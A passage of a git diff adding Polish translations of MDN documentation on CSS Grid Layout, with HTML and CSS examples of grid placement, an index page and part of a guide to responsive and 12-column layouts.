+ &lt;dd&gt;Owl&lt;/dd&gt;
+ &lt;/dl&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">dl {
+ display: grid;
+ grid-template-columns: auto 1fr;
+ max-width: 300px;
+ margin: 1em;
+ line-height: 1.4;
+}
+dt {
+ grid-column: 1;
+ font-weight: bold;
+}
+dd {
+ grid-column: 2;
+ }
+</pre>
+
+<p>{{ EmbedLiveSample('placement_10', '500', '230') }}</p>
+</div>
+
+<h2 id="What_can’t_we_do_with_auto-placement_yet">What can’t we do with auto-placement (yet)?</h2>
+
+<p>There are a couple of things that often come up as questions. Currently we can’t do things like target every other cell of the grid with our items. A related issue may have already come to mind if you followed the last guide about named lines on the grid. It would be to define a rule that said “auto-place items against the next line named “n”, and grid would then skip other lines.There is <a href="https://github.com/w3c/csswg-drafts/issues/796">an issue raised about this</a> on the CSSWG GitHub repository, and you would be welcome to add your own use cases to this.</p>
+
+<p>It may be that you come up with your own use cases for auto-placement or any other part of grid layout. If you do, raise them as issues or add to an existing issue that could solve your use case. This will help to make future versions of the specification better.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/pl/web/css/css_grid_layout/index.html b/files/pl/web/css/css_grid_layout/index.html
new file mode 100644
index 0000000000..0894a70679
--- /dev/null
+++ b/files/pl/web/css/css_grid_layout/index.html
@@ -0,0 +1,245 @@
+---
+title: CSS Grid Layout
+slug: Web/CSS/CSS_Grid_Layout
+tags:
+ - CSS
+translation_of: Web/CSS/CSS_Grid_Layout
+---
+<p><strong>CSS Grid Layout</strong> jest najlepszą metodą aby podzielić strone na części lub definiowanie relacji takich jak rozmiar, pozycja i warstwa, pomiędzy podstawowymi elementami HTML.</p>
+
+<p>Podobnie do tabel (ang. "tables"), rozmieszczenie grid <em>(ang. "siatka")</em> pozwala autorowi wyrównać elementy w kolumny i wiersze. Jednakowoż grid pozwala na wiele więcej ułożeń niż tabele. Na przykład kontener grid potrafi spozycjonować elementy wewnątrz siebie w taki sposób aby na siebie nachodziły oraz używały warstw, podobnie jak elementy pozycjonowane przy użyciu CSS.</p>
+
+<h2 id="Basic_Example" name="Basic_Example">Przykład</h2>
+
+<p>Przykład poniżej pokazuje trzy kolumnową ścieżkę siatki z utworzonymi nowymi wierszami z ustawioną własnością minimalną na 100 pikseli i wartością maksymalną ustawioną na auto. Elementy zostały ustawione na siatce przy pomocy miejsc opartych na liniach siatki.</p>
+
+<div id="example">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+ max-width: 940px;
+ margin: 0 auto;
+}
+
+.wrapper &gt; div {
+ border: 2px solid rgb(233,171,88);
+ border-radius: 5px;
+ background-color: rgba(233,171,88,.5);
+ padding: 1em;
+ color: #d9480f;
+}</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="one"&gt;Jeden&lt;/div&gt;
+ &lt;div class="two"&gt;Dwa&lt;/div&gt;
+ &lt;div class="three"&gt;Trzy&lt;/div&gt;
+ &lt;div class="four"&gt;Cztery&lt;/div&gt;
+ &lt;div class="five"&gt;Pięć&lt;/div&gt;
+ &lt;div class="six"&gt;Sześć&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-gap: 10px;
+ grid-auto-rows: minmax(100px, auto);
+}
+.one {
+ grid-column: 1 / 3;
+ grid-row: 1;
+}
+.two {
+ grid-column: 2 / 4;
+ grid-row: 1 / 3;
+}
+.three {
+ grid-column: 1;
+ grid-row: 2 / 5;
+}
+.four {
+ grid-column: 3;
+ grid-row: 3;
+}
+.five {
+ grid-column: 2;
+ grid-row: 4;
+}
+.six {
+ grid-column: 3;
+ grid-row: 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('example', '500', '440') }}</p>
+</div>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Własności_CSS">Własności CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-area")}}</li>
+ <li>{{cssxref("grid-row-gap")}}</li>
+ <li>{{cssxref("grid-column-gap")}}</li>
+ <li>{{cssxref("grid-gap")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_functions">CSS functions</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("repeat", "repeat()")}}</li>
+ <li>{{cssxref("minmax", "minmax()")}}</li>
+ <li>{{cssxref("fit-content", "fit-content()")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_data_types">CSS data types</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;flex&gt;")}}</li>
+</ul>
+</div>
+
+<h3 id="Glossary_entries">Glossary entries</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Lines">Grid Lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Tracks">Grid Tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Cell">Grid Cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Areas">Grid Area</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Column">Grid column</a></li>
+</ul>
+</div>
+
+<h2 id="Poradniki">Poradniki</h2>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basic concepts of Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship of Grid Layout to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Layout using line-based placement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in CSS Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in CSS Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Grid, Logical Values and Writing Modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid and progressive enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realising_common_layouts_using_CSS_Grid_">Realising common layouts using CSS Grid</a></li>
+</ul>
+</div>
+
+<h2 id="Zewnętrzne_źródła">Zewnętrzne źródła</h2>
+
+<ul>
+ <li><a href="http://labs.jensimmons.com/">Examples from Jen Simmons</a></li>
+ <li><a href="http://gridbyexample.com/">Grid by Example - a collection of usage examples and video tutorials</a></li>
+ <li><a href="https://tympanus.net/codrops/css_reference/grid/">Codrops Grid Reference</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox DevTools CSS Grid Inspector</a></li>
+ <li><a href="https://mozilladevelopers.github.io/playground/">CSS Grid Playground</a></li>
+</ul>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Grid') }}</td>
+ <td>{{ Spec2('CSS3 Grid') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html b/files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html
new file mode 100644
index 0000000000..93ac130fce
--- /dev/null
+++ b/files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html
@@ -0,0 +1,594 @@
+---
+title: Projektowanie typowych układów za pomocą układu siatki CSS
+slug: >-
+ Web/CSS/CSS_Grid_Layout/Realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_CSS
+translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout
+---
+<p>Na zakończenie tego zestawu poradników do Układów Siatki CSS (ang. CSS Grid Layout), przejdę przez kilka różnych układów, demonstrujących niektóre z  technik, których można użyć podczas projektowania z użyciem tej technologii. Przyjrzymy się przykładowi, korzystającemu z wartości <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">grid-template-areas</a>, typowemu 12-kolumnowemu systemowi elastycznej siatki, a także wykazowi produktów stworzonemu za pomocą automatycznego rozmieszczania. Jak wynika z wyżej przedstawionych przykładów, często istnieje więcej niż jeden sposób, aby osiągnąć pożądany efekt z układem siatki. Wybierz  tę metodę, która jest najbardziej pomocna w rozwiązaniu problemów przed którymi stoisz i  dla projektów, które realizujesz.</p>
+
+<h2 id="Responsywny_układ_strony_korzystający_z_1_do_3_kolumn_o_zmiennej_pozycji_elementów_przy_użyciu_grid-template-areas">Responsywny układ strony korzystający z 1 do 3 kolumn o zmiennej pozycji elementów przy użyciu <code>grid-template-areas</code></h2>
+
+<p>Znacząca część stron internetowych jest odmianą tego typu układu; zawierającego treść, panele boczne, nagłówek oraz stopkę. Podczas projektowania responsywnej witryny, możesz zechcieć wyświetlić stronę w układzie pojedynczej kolumny dla małych ekranów, dla  wyświetlacza o wartości granicznej dodać panel boczny, a dla najszerszych ekranów wprowadzić układ w trzech kolumnach.</p>
+
+<p><img alt="Image of the three different layouts created by redefining our grid at two breakpoints." src="https://mdn.mozillademos.org/files/14749/11-responsive-areas.png"></p>
+
+<p>Zamierzam stworzyć taki układ korzystając z  <em>nazwanych pól szablonu, </em>o których możecie dowiedzieć się więcej z kursu <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></em>.</p>
+
+<p>Mój szkielet  składa się z pojemnika zawierającego elementy z przeznaczeniem na: nagłówek i stopkę, główną zawartość strony, menu, panel boczny oraz blok przeznaczony na reklamę.</p>
+
+<div id="layout_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+ .wrapper {
+ max-width: 1024px;
+ margin: 0 auto;
+ font: 1.2em Helvetica, arial, sans-serif;
+ }
+
+ .wrapper &gt; * {
+ border: 2px solid #f08c00;
+ background-color: #ffec99;
+ border-radius: 5px;
+ padding: 10px;
+ }
+
+ nav ul {
+ list-style: none;
+ margin: 0;
+ padding: 0;
+ }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;header class="main-head"&gt;The header&lt;/header&gt;
+ &lt;nav class="main-nav"&gt;
+ &lt;ul&gt;
+ &lt;li&gt;&lt;a href=""&gt;Nav 1&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href=""&gt;Nav 2&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href=""&gt;Nav 3&lt;/a&gt;&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/nav&gt;
+ &lt;article class="content"&gt;
+  &lt;h1&gt;Main article area&lt;/h1&gt;
+ &lt;p&gt;In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.&lt;/p&gt;
+ &lt;/article&gt;
+ &lt;aside class="side"&gt;Sidebar&lt;/aside&gt;
+ &lt;div class="ad"&gt;Advertising&lt;/div&gt;
+ &lt;footer class="main-footer"&gt;The footer&lt;/footer&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Używamy cechy {{cssxref("grid-template-areas")}} by stworzyć układ strony. Nie korzystamy jeszcze z <em>zapytań o środki dostępu</em> (ang. media-queries). Musimy teraz nadać odpowiednie nazwy polom. Żeby to zrobić skorzystamy z właściwości {{cssxref("grid-area")}}.</p>
+
+<pre class="brush: css">.main-head {
+ grid-area: header;
+}
+.content {
+ grid-area: content;
+}
+.main-nav {
+ grid-area: nav;
+}
+.side {
+ grid-area: sidebar;
+}
+.ad {
+ grid-area: ad;
+}
+.main-footer {
+ grid-area: footer;
+}
+</pre>
+
+<p>Sama w sobie, operacja ta nie tworzy żadnego układu, aczkolwiek pozwala nam na to, dzięki nadanym nazwom.   Nadal nie korzystając z <em>zapytań o urządzenie dostępu</em>, nadam teraz stronie układ tworzony z myślą o wyświetlaczach mobilnych. W tym wypadku zachowam pierwotną kolejność elementów, taką jak w układzie szkieletu, starając się uniknąć najmniejszego rozdźwięku pomiędzy szablonem znaczników, a ukladem siatki, zgodnie z poradami zawartymi w <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">Grid layout and accessibility</a></em>. Nie definuję kolumn, ani rzędów, jednak taka stylizacja tworzy nam układ jednokolumnowy, co się zaś tyczy rzędów, zostaną stworzone samoistnie dla każdego elementu wskazanej siatki.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-gap: 20px;
+ grid-template-areas:
+ "header"
+ "nav"
+ "content"
+ "sidebar"
+ "ad"
+ "footer";
+}
+</pre>
+
+<p>Zdefiniowany mobilny układ strony (jedna kolumna) będzie się teraz wyświetlał jednakowo na każdym urządzeniu, nieleżnie od jego rozmiarów. Żeby to zmienić możemy posłużyć się <em>zapytaniem o środek dostępu</em> i przedefiniować nasz układ na wypadek, gdyby pojawiło się wystarczająco dużo miejsca na ekranie, żeby zmieścić kolejną kolumnę.</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+ .wrapper {
+ grid-template-columns: 1fr 3fr;
+ grid-template-areas:
+ "header header"
+ "nav nav"
+ "sidebar content"
+ "ad footer";
+ }
+ nav ul {
+ display: flex;
+ justify-content: space-between;
+ }
+}
+</pre>
+
+<p>Możesz zaobserwować, jak będzie wyglądał nowy układ przyglądając się wartości cechy {{cssxref("grid-template-areas")}}. Element <code>header</code>  (nagłówek) rozciąga się na dwie kolumny, tak, jak i element <code>nav </code>(menu). Wtrzecim rzędzie sąsiaduje element <code>sidebar</code> (panel boczny) oraz element <code>content </code>(zawartość strony). W czwartym rzędzie umieściłem element <code>ad</code> (blok reklamowy) zamiast panelu bocznego, a na samym końcu element <code>footer</code> (stopkę) rozciągnietą na cały piąty rząd. Użyłem elastycznego bloku (<em>flexbox</em>) dla menu, tak by wyświetliło się w oddalonym rzędzie.</p>
+
+<p>Mogę teraz dodać ostatnią wartość graniczną, wyznaczającą przejście do układu w trzech kolumnach.</p>
+
+<pre class="brush: css">@media (min-width: 700px) {
+ .wrapper {
+ grid-template-columns: 1fr 4fr 1fr;
+ grid-template-areas:
+ "header header header"
+ "nav content sidebar"
+ "nav content ad"
+ "footer footer footer"
+ }
+ nav ul {
+ flex-direction: column;
+ }
+}
+</pre>
+
+<p>The three-column layout has two <code>1fr</code> unit side columns and a middle column that has <code>4fr</code> as the track size. This means that the available space in the container is split into 6 and assigned in proportion to our three tracks – one part each to the side columns and 4 parts to the center.</p>
+
+<p>In this layout I am displaying the <code>nav</code> in the left column, alongside the <code>content</code>. In the right column we have the <code>sidebar</code> and underneath it the advertisements (<code>ad</code>). The <code>footer</code> now spans right across the bottom of the layout. I then use a flexbox to display the navigation as a column.</p>
+
+<p>{{ EmbedLiveSample('layout_1', '800', '500') }}</p>
+</div>
+
+<p>This is a simple example but demonstrates how we can use a grid layout to rearrange our layout for different breakpoints. In particular I am changing the location of that <code>ad</code> block, as appropriate in my different column setups. I find this named areas method very helpful at a prototyping stage, it is easy to play around with the location of elements. You could always begin to use grid in this way for prototyping, even if you can’t rely on it fully in production due to the browsers that visit your site.</p>
+
+<h2 id="A_flexible_12-column_layout">A flexible 12-column layout</h2>
+
+<p>If you have been working with one of the many frameworks or grid systems you may be accustomed to laying out your site on a 12- or 16-column flexible grid. We can create this type of system using CSS Grid Layout. As a simple example, I am creating a 12-column flexible grid that has 12 <code>1fr</code>-unit column tracks, they all have a start line named <code>col-start</code>. This means that we will have twelve grid lines named <code>col-start</code>.</p>
+
+<div id="layout_2">
+<div class="hidden">
+<pre class="brush: css">.wrapper {
+ max-width: 1024px;
+ margin: 0 auto;
+ font: 1.2em Helvetica, arial, sans-serif;
+}
+.wrapper &gt; * {
+ border: 2px solid #f08c00;
+ background-color: #ffec99;
+ border-radius: 5px;
+ padding: 10px;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(12, [col-start] 1fr);
+ grid-gap: 20px;
+}
+</pre>
+
+<p>To demonstrate how this grid system works I have four child elements inside my wrapper.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="item1"&gt;Start column line 1, span 3 column tracks.&lt;/div&gt;
+ &lt;div class="item2"&gt;Start column line 6, span 4 column tracks. 2 row tracks.&lt;/div&gt;
+ &lt;div class="item3"&gt;Start row 2 column line 2, span 2 column tracks.&lt;/div&gt;
+ &lt;div class="item4"&gt;Start at column line 3, span to the end of the grid (-1).&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>I can then place these on the grid using the named lines, and also the span keyword.</p>
+
+<pre class="brush: css">.item1 {
+ grid-column: col-start / span 3;
+}
+.item2 {
+ grid-column: col-start 6 / span 4 ;
+ grid-row: 1 / 3;
+}
+.item3 {
+ grid-column: col-start 2 / span 2;
+ grid-row: 2;
+}
+.item4 {
+ grid-column: col-start 3 / -1;
+ grid-row: 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('layout_2', '800', '400') }}</p>
+</div>
+
+<p>As described in the <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">guide to named lines</a>, we are using the named line to place our item. As we have 12 lines all with the same name we use the name, and then the index of the line. You could also use the line index itself if you prefer and avoid using named lines at all.</p>
+
+<p>Rather than setting the end line number, I have chosen to say how many tracks this element should span, using the <code>span</code> keyword. I like this approach as when working with a multiple-column layout system we usually think of blocks in terms of the number of tracks of the grid they span, and adjust that for different breakpoints. To see how the blocks align themselves to the tracks, use the <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Inspector</a>. It clearly demonstrates how our items are placed.</p>
+
+<p><img alt="Showing the items placed on the grid with grid tracks highlighted." src="https://mdn.mozillademos.org/files/14753/11-grid-inspector-12col.png"></p>
+
+<p>There are some key differences with how a grid layout works over the grid systems you may have used previously. As you can see, we do not need to add any markup to create a row, grid systems need to do this to stop elements popping up into the row above. With CSS Grid Layout, we can place things into rows, with no danger of them rising up into the row above if it is left empty. Due to this <em>strict</em> column and row placement we can also easily leave white space in our layout. We also don’t need special classes to pull or push things, to indent them into the grid. All we need to do is specify the start and end line for the item.</p>
+
+<h3 id="Building_a_layout_using_the_12-column_system">Building a layout using the 12-column system</h3>
+
+<p>To see how this layout method works in practice, we can create the same layout that we created with {{cssxref("grid-template-areas")}}, this time using the 12-column grid system. I am starting with the same markup as used for the grid template areas example.</p>
+
+<div id="layout_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+ .wrapper {
+ max-width: 1024px;
+ margin: 0 auto;
+ font: 1.2em Helvetica, arial, sans-serif;
+ }
+
+ .wrapper &gt; * {
+ border: 2px solid #f08c00;
+ background-color: #ffec99;
+ border-radius: 5px;
+ padding: 10px;
+ }
+
+ nav ul {
+ list-style: none;
+ margin: 0;
+ padding: 0;
+ }
+</pre>
+</div>
+
